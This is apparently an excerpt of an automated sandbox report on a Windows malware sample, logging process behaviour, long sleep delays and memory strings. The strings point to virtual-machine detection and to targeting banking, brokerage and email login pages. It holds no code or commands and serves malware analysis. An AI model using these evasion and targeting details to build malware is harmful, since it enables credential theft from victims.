Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 53F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 53F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 73F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

13_2_004019F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599642	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599515	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599296	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599187	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599076	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598843	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598733	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598622	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598390	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598270	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597576	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596569	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596225	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595880	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595655	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595536	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595421	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595170	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595060	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 594952	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 594819	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 594462	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593872	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593738	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593617	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593515	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593406	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593296	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1990	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1325	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5335	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4432	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 3507	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 6313	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 5836	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2980	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6192	Thread sleep count: 5335 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6192	Thread sleep count: 4432 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 724	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7516	Thread sleep count: 3507 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7516	Thread sleep count: 6313 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -599642s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -599515s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -599406s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -599296s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -599187s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -599076s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -598953s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -598843s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -598733s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -598622s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -598500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -598390s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -598270s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -597576s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -597468s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -596796s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -596569s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -596225s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -595880s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -595765s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -595655s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -595536s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -595421s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -595312s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -595170s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -595060s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -594952s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -594819s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -594462s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -594000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -593872s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -593738s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -593617s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -593515s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -593406s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7512	Thread sleep time: -593296s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599642	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599515	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599296	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599187	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 599076	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598843	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598733	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598622	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598390	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598270	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597576	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596569	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596225	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595880	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595655	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595536	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595421	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595170	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 595060	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 594952	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 594819	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 594462	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593872	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593738	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593617	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593515	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593406	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 593296	Jump to behavior

Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Vmwaretrat
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: svchost.exe, 0000000D.00000002.2565948471.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q#C:\windows\System32\vboxservice.exe
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: wscript.exe, 00000007.00000003.1305989031.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1307948527.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1307848580.0000028EADC54000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1306423899.0000028EADC4D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
